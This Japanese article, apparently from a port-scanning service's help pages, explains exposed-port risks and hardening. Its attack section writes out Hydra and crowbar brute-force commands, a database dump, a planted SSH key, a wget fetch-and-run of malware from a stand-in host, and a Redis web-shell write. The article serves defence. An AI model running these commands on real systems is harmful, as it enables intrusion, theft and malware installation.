ポートセキュリティ: 開きっぱなしのドアが招く侵入リスク
これは何?
ポートとは、ネットワーク通信における「入口」のようなもので、Webサーバーは通常ポート80(HTTP)と443(HTTPS)を外部に公開しています。しかし、適切に管理されていないサーバーでは、データベース(3306/MySQL、5432/PostgreSQL)、SSH(22)、RDP(3389)、FTP(21)など、本来は管理者専用で外部に公開すべきでないポートが開いたままになっていることがあります。
これは家に例えるなら、玄関(Web)だけでなく、裏口(SSH)、地下室(データベース)、屋根裏(管理ツール)の扉をすべて開けっ放しにして、「誰でもどうぞ」と言っているようなものです。攻撃者はポートスキャンツール(nmap、masscanなど)を使って、インターネット上の全IPアドレスを自動的に調査し、開いているポートを探します。
不要なポートが開いていると、そこから総当たり攻撃(ブルートフォース)、既知の脆弱性を突く攻撃、またはデータベースへの直接アクセスが試みられます。特にデフォルトポートを使用している場合、攻撃者はどのサービスが動いているかを容易に推測できます。
なぜ重要なのか
不要なポートを開放していると、以下のような深刻なリスクが発生します:
データベースの直接露出: MySQL(3306)やPostgreSQL(5432)が外部からアクセス可能だと、攻撃者はWebアプリケーションを経由せず、直接データベースに接続を試みます。弱いパスワードやデフォルト認証情報(root/空パスワード、postgres/postgresなど)が使われている場合、全データが盗まれます。
SSH/RDPへの総当たり攻撃: SSH(22)やRDP(3389)が全世界に公開されていると、自動化ボットが24時間365日、ログイン試行を繰り返します。パスワードが弱い、または既知の脆弱性がある場合、サーバーへの完全なアクセス権を奪取されます。
ランサムウェア感染: RDP経由でサーバーに侵入した攻撃者は、ランサムウェアを展開し、全ファイルを暗号化します。身代金を払わなければデータを復元できず、払ったとしても復元される保証はありません。
DDoS攻撃の踏み台: 侵入されたサーバーはボットネットの一部となり、他のサイトへのDDoS攻撃に加担させられます。帯域幅を消費し、ホスティング会社から警告を受けたり、法的責任を問われたりします。
内部ネットワークへの侵入: クラウド環境(AWS、Azure、GCP)で適切なセキュリティグループ設定がされていない場合、一つのサーバーが侵害されると、同じVPC内の他のサーバーにも横展開される危険があります。
攻撃の仕組み
ポート露出を悪用した攻撃の典型的なフロー:
1. ポートスキャンによる偵察
攻撃者はまず、ターゲットのIPアドレスでどのポートが開いているかを調査します:
# nmapによる基本的なポートスキャン
nmap -p- target.example.com
# 結果例
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql # ← データベースが外部公開されている
8080/tcp open http-proxy
# より詳細なスキャン(サービスバージョン検出)
nmap -sV -p 22,3306 target.example.com
# 結果例
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
3306/tcp open mysql MySQL 5.7.32
# 既知の脆弱性スキャン
nmap --script vuln -p 22,3306 target.example.com
2. データベースポート(3306, 5432)への攻撃
MySQLやPostgreSQLが外部公開されている場合、攻撃者は直接接続を試みます:
# MySQL接続試行
mysql -h target.example.com -u root -p
# よく使われるデフォルトパスワードのリスト
# (空パスワード)
# root
# password
# admin
# 123456
# mysql
接続に成功すると:
-- 全データベースの列挙
SHOW DATABASES;
-- ユーザーテーブルの窃取
USE production_db;
SELECT * FROM users;
-- データのダンプ
mysqldump -h target.example.com -u root -ppassword --all-databases > stolen_data.sql
3. SSH(22)への総当たり攻撃
SSHが公開されている場合、自動化ツールで大量のパスワードを試行します:
# Hydraによる総当たり攻撃
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target.example.com
# 辞書ファイルには数百万のパスワード候補が含まれる
# 弱いパスワード(password123、admin等)は数分で突破される
成功すると、サーバーへの完全なアクセス権を取得:
ssh [email protected]
# バックドアの設置
echo "attacker_ssh_key" >> ~/.ssh/authorized_keys
# マルウェアのダウンロードと実行
wget http://malicious.com/malware.sh && chmod +x malware.sh && ./malware.sh
4. RDP(3389)へのブルートフォース
Windows ServerでRDPが公開されている場合、同様の攻撃が実行されます:
# RDP総当たり攻撃
crowbar -b rdp -s target.example.com/32 -u Administrator -C passwords.txt
# 成功後、GUI経由でサーバーを操作可能
# ランサムウェアの展開
# ファイルの暗号化
# 身代金要求メッセージの表示
5. Redis、MongoDB等のNoSQLデータベース
設定ミスでRedis(6379)やMongoDB(27017)が認証なしで公開されているケースも多発:
# 認証なしRedisへの接続
redis-cli -h target.example.com
# データの窃取
KEYS *
GET sensitive_data
# 悪意あるコマンドの実行(RCE)
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']); ?>"
SAVE
# http://target.example.com/shell.php?cmd=whoami でコード実行
実際の被害事例
MongoDBの大規模データ侵害(2017-2019年): 認証なしで公開されたMongoDBインスタンスが大量に発見され、数億件の個人情報が流出しました。攻撃者は「ランサムMongoDB」と呼ばれる手法で、データを削除し、身代金を要求するメッセージを残しました。Shodan検索で27,000台以上の無防備なMongoDBが確認されました。
Elasticsearchデータ漏洩(2020年): ポート9200で公開されたElasticsearchインスタンスから、2億件以上の中国市民の個人情報(氏名、住所、ID番号)が流出。パスワード保護がなく、誰でもアクセス可能でした。
Colonial Pipeline ランサムウェア攻撃(2021年): 米国最大級の石油パイプライン企業が、VPN経由で公開されていたRDPへの攻撃を受け、ランサムウェアに感染。操業停止に追い込まれ、440万ドルの身代金を支払いました(後に一部回収)。東海岸のガソリン供給が止まり、社会的混乱を引き起こしました。
SSH総当たり攻撃(継続中): Akamai の調査によると、SSHポート(22)を公開した新規サーバーは、平均して数分以内に最初の攻撃を受けます。24時間で数千回のログイン試行が記録されることも珍しくありません。
Redis の認証バイパス(2022年): Redisの古いバージョン(6.2.6以前、7.0.0-RC1など)に認証バイパスの脆弱性(CVE-2022-24735)が発見されました。ポート6379が公開されている場合、認証なしでアクセス可能でした。
Nyambushでの検出内容
Nyambushのポートスキャンでは、以下の項目をチェックします:
一般的に危険なポート
| ポート | サービス | リスク | |-------|---------|-------| | 21 | FTP | 平文通信、認証情報の盗聴 | | 22 | SSH | 総当たり攻撃の標的 | | 23 | Telnet | 暗号化なし、非常に危険 | | 25 | SMTP | スパム送信の踏み台 | | 53 | DNS | DNS Amplification攻撃 | | 110/143 | POP3/IMAP | メール認証情報の窃取 | | 445 | SMB | WannaCry等のランサムウェア | | 1433 | MSSQL | データベース直接アクセス | | 3306 | MySQL | データベース直接アクセス | | 3389 | RDP | ランサムウェアの侵入口 | | 5432 | PostgreSQL | データベース直接アクセス | | 6379 | Redis | キャッシュデータ窃取、RCE | | 8080 | HTTP (alt) | 管理画面の露出 | | 9200 | Elasticsearch | データ漏洩 | | 27017 | MongoDB | NoSQLデータベース直接アクセス |
スキャン内容
- 開放ポートの検出: 外部から到達可能なポートのリスト
- サービスの識別: 各ポートで動作しているサービス(可能な場合)
- リスク評価: 各ポートの危険度(Critical、High、Medium、Low)
- 推奨対策: 閉じるべきか、IP制限すべきか
スキャン結果では、特に危険なポート(3306、3389、22等)が公開されている場合、「Critical」として即座の対応を促します。
対策方法
1. ファイアウォールでの制限
UFW(Ubuntu/Debian)
# デフォルトですべて拒否
sudo ufw default deny incoming
sudo ufw default allow outgoing
# 必要なポートのみ許可
sudo ufw allow 80/tcp # HTTP
sudo ufw allow 443/tcp # HTTPS
# SSH は特定IPからのみ許可
sudo ufw allow from YOUR_IP_ADDRESS to any port 22
# データベースは完全に外部から遮断(localhostのみ)
# → ファイアウォール設定は不要(bindアドレスで制御)
# 有効化
sudo ufw enable
# 状態確認
sudo ufw status verbose
iptables(手動設定)
# デフォルトポリシー: すべて拒否
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# 確立済みの接続を許可
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# localhostを許可
iptables -A INPUT -i lo -j ACCEPT
# HTTP/HTTPS を許可
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# SSH を特定IPからのみ許可
iptables -A INPUT -p tcp -s YOUR_IP_ADDRESS --dport 22 -j ACCEPT
# 設定を保存
iptables-save > /etc/iptables/rules.v4
2. データベースのbindアドレス設定
MySQL
# /etc/mysql/mysql.conf.d/mysqld.cnf
[mysqld]
# localhostのみリッスン(デフォルトで推奨)
bind-address = 127.0.0.1
# または特定のIPのみ
bind-address = 10.0.0.5
# すべてのインターフェース(危険、避けるべき)
# bind-address = 0.0.0.0
設定後、再起動:
sudo systemctl restart mysql
# 外部からアクセスできないことを確認
netstat -tuln | grep 3306
# tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN ← OK
# tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN ← NG(危険)
PostgreSQL
# /etc/postgresql/14/main/postgresql.conf
listen_addresses = 'localhost' # デフォルト推奨
# 特定IPのみ
listen_addresses = 'localhost,10.0.0.5'
# /etc/postgresql/14/main/pg_hba.conf
# localhostからのみ接続許可
local all all peer
host all all 127.0.0.1/32 md5
host all all ::1/128 md5
# 外部IPは削除または無効化
# host all all 0.0.0.0/0 md5 # ← 削除
Redis
# /etc/redis/redis.conf
bind 127.0.0.1 ::1 # localhostのみ
# パスワード設定(必須)
requirepass YourStrongPasswordHere
# 危険なコマンドの無効化
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
3. SSH のセキュリティ強化
# /etc/ssh/sshd_config
# rootログイン禁止
PermitRootLogin no
# パスワード認証無効化(公開鍵認証のみ)
PasswordAuthentication no
PubkeyAuthentication yes
# デフォルトポート(22)の変更(obscurity by securityだが効果的)
Port 2222
# 許可するユーザーを制限
AllowUsers your_username
# ログイン試行回数制限
MaxAuthTries 3
# アイドルタイムアウト
ClientAliveInterval 300
ClientAliveCountMax 2
# 設定後、再起動
sudo systemctl restart sshd
# Fail2Banの導入(総当たり攻撃対策)
sudo apt install fail2ban
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
4. クラウド環境でのセキュリティグループ設定
AWS Security Group
# 必要最小限のインバウンドルール
Type: HTTP, Protocol: TCP, Port: 80, Source: 0.0.0.0/0
Type: HTTPS, Protocol: TCP, Port: 443, Source: 0.0.0.0/0
Type: SSH, Protocol: TCP, Port: 22, Source: YOUR_IP/32 # 自分のIPのみ
# データベース用のセキュリティグループ(別途作成)
Type: MySQL, Protocol: TCP, Port: 3306, Source: sg-webserver # Webサーバーグループからのみ
Azure Network Security Group (NSG)
Priority: 100, Name: AllowHTTP, Port: 80, Source: Any, Destination: Any
Priority: 110, Name: AllowHTTPS, Port: 443, Source: Any, Destination: Any
Priority: 120, Name: AllowSSH, Port: 22, Source: Your_IP/32, Destination: Any
Priority: 200, Name: DenyAll, Port: Any, Source: Any, Destination: Any
5. ポート変更(Security by Obscurity)
完璧な対策ではありませんが、自動化攻撃の大半を避けられます:
# SSH ポートを22から2222に変更
# /etc/ssh/sshd_config
Port 2222
# MySQL ポートを3306から13306に変更(推奨しない、bindアドレスで制御すべき)
# /etc/mysql/mysql.conf.d/mysqld.cnf
port = 13306
6. VPN経由でのアクセス
管理用ポート(SSH、RDP、データベース)は、VPN経由でのみアクセス可能にする:
インターネット → VPNサーバー → プライベートネットワーク → 管理ポート
- WireGuard
- OpenVPN
- AWS VPN
- Tailscale(ゼロトラストVPN)
7. 定期的なポートスキャン
# 自サイトの外部公開ポートを確認
nmap -p- your-server.com
# またはNyambushで定期スキャン
8. 侵入検知システム(IDS)
# AIDE(Advanced Intrusion Detection Environment)
sudo apt install aide
sudo aideinit
sudo aide --check # ファイル改ざんの検出
# OSSEC(Host-based IDS)
# ログ監視、ファイル整合性チェック、rootkit検出
まとめ
ポートセキュリティは、サーバーセキュリティの最も基本的な要素でありながら、設定ミスが非常に多い領域です。不要なポートを開放していると、攻撃者に「どうぞお入りください」と招待しているのと同じです。
最低限実施すべき対策:
- ファイアウォールで不要なポートを閉じる(80/443以外)
- データベースはlocalhost(127.0.0.1)でのみリッスン
- SSH は公開鍵認証のみ、特定IPからのアクセスに制限
- RDP は無効化、必要ならVPN経由のみ
- デフォルトパスワードを変更、強力なパスワードを使用
追加の推奨対策: 6. Fail2Banで総当たり攻撃を自動ブロック 7. クラウド環境ではセキュリティグループで厳格に制限 8. 管理用ポートはVPN経由でのみアクセス 9. 定期的なポートスキャン(Nyambush等) 10. 不要なサービスの完全停止
緊急時の対応: もしポートスキャンで予期しない開放ポートが見つかった場合:
- 即座にファイアウォールで遮断
- サービスの停止または設定変更
- アクセスログの確認(不正アクセスの痕跡)
- 侵害の可能性がある場合、サーバーを隔離し、フォレンジック調査
Nyambushの定期スキャンで、意図しないポート公開を早期に発見し、侵入される前に対策を実施しましょう。攻撃者は24時間365日、開いているポートを探しています。